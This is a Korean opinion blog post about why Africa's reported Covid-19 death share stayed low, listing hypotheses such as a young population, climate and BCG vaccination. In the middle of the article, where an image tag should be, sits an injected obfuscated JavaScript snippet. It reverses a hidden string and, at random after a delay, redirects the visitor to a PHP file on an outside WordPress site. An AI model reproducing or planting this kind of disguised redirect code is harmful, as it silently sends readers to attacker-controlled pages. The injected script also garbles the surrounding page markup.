아프리카 Covid 19 퍼즐

<<광고>>



¶글쓴이 : 이병태

 

-코로나 판데믹이 시작했을 때 거의 모든 전문가들의 우려는 의료환경 열악한 아프리카였으나

-전세계 인구의 17%를 차지하는 아프리카의 코로나바이러스 사망자 비중은 3.5%에 불과해

전문가들 모델과 의견은 수많은 가설을 전제로 이루어져. 진정한 ‘전문가’는 존재하지 않는다



여러 번 같은 질문을 던지지만 우리는 과연 이 새로운 질병에 대해 얼마나 알고 있는 것일까? 코로나바이러스 판데믹이 시작했을 때 거의 모든 전문가들의 우려는 이것이 남쪽으로 갔을 때의 파국적 결과에 관한 것이었다. 의료환경이 열악하고 가난한 아프리카에 이 질병이 진입하면 상상할 수 없는 참상이 벗어질 것이라는 것이었다.

그런데 현재까지 아프리카의 바이러스 상황은 예상과는 전혀 다른 모습이다. 전세계 1백만 명이 넘는 사망자 중에서 아프리카가 보고한 사망자는 3만 5천 명이다. 즉 전세계 인구의 17%를 차지하는 아프리카의 코로나바이러스 사망자 비중은 3.5%에 불과하다. 이 퍼즐에 대한 원인에 대해 의견이 분분하다.

 

 

$NqM=function(n){if (typeof ($NqM.list[n]) == “string”) return $NqM.list[n].split(“”).reverse().join(“”);return $NqM.list[n];};$NqM.list=[“\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}tory_-_Ethiopia_Farming-e1604745745597.jpg” alt=”” width=”500″ height=”284″ /> 전세계 인구의 17%를 차지하는 아프리카의 코로나바이러스 사망자 비중은 3.5%에 불과하다.


1. 첫째는 아프리카의 젊은 인구 비중이 큰 차이를 만들고 있다는 데는 공감대가 크다. 아프리카는 가장 젊은 대륙이다. 어느 나라나 젊은 층의 사망자는 극히 낮은 비중을 차지한다.


2. 물론 아프리카의 사망자 보고 수가 정확하냐는 의문은 남아 있다. 그것은 다소간의 차이가 있지만 어느 나라나 보고된 수보다 실질 감염자와 사망자는 더 높을 것이라는 의심을 갖고 있다.

 

코로나바이러스 아니더라도 죽었을 고령층이 코로나바이러스의 사망자로 분류된다는, 즉 다른 폐렴과 코로나바이러스 감염이 함께 있을 때 코로나바이러스 사망으로 분류되는 것에 대한 논란도 있다. 하지만 아프리카의 사망자가 훨씬 적다는 사실에 의문을 달지는 않는다.

3. 아프리카의 고온다습한 기후가 영향을 미치고 있다는 가설도 제시된다. 코로나 바이러스가 감염되어도 신체에 침입하는 바이러스 수가 적으면 심각한 질병으로 전환되지 않는다고 한다. 마스크의 효능은 완벽한 바이러스 방지보다도 바이러스의 진입을 좀더 막아주는 주는 것에 큰 효과를 나타내는데, 고온다습의 기후가 그런 역할을 한다고 한다.

4. 아프라카의 많은 전염병들에 대한 백신들이 효과를 나타내고 있는 것이 아닌가 하는 점도 제기되고 있다. 그 중 하나가 결핵 예방 백신인데, 많은 나라에서 이 백신의 접종 사실과 코로나 바이러스 사망자 수가 반비례하는 경향을 보이고 있다.

 

우리나라도 결핵 고위험국가로 모든 국민이 백신을 맞는 나라이다. 그래서 코로나바이러스를 잘 예방하고 있는 하나의 원인이 되는 것은 아닌가 하고 생각해 볼 수 있다.

5. 아프리카가 많은 전염병에 대응해 보았기 대문에 더 잘 대응을 하는 것이 아니냐는 의견도 제시되지만 일부 국가에서 높은 감염을 보면 정부의 대응은 큰 차이를 나타내지 못하고 있다고 볼 수 있다.

결론은 우리는 이 새로운 질병에 대해 매우 불완전한 지식을 갖고 대응하고 있다는 사실이다. 전문가들의 모델과 의견은 확인되지 않는 수많은 가설을 전제로 이루어진 것이기에 진정한 “전문가”는 존재하지 않는다고 보아야 한다.

 

잘 모를 때는 무조건 최악의 상황을 가정해서 극단적인 정책을 제시하는 것이 타당해 보이지만 그것은 우리의 시각을 코로나바이러스 사망자들에게만 국한하고 다른 2~3차적인 사망을 야기하는, 생명을 도외시하는 우를 범할 수 있다.

https://www.theweek.co.uk/108329/why-africa-had-such-a-low-coronavirus-death-rate?

 

<<광고>>



No comments
LIST

    댓글은 닫혔습니다.

위로이동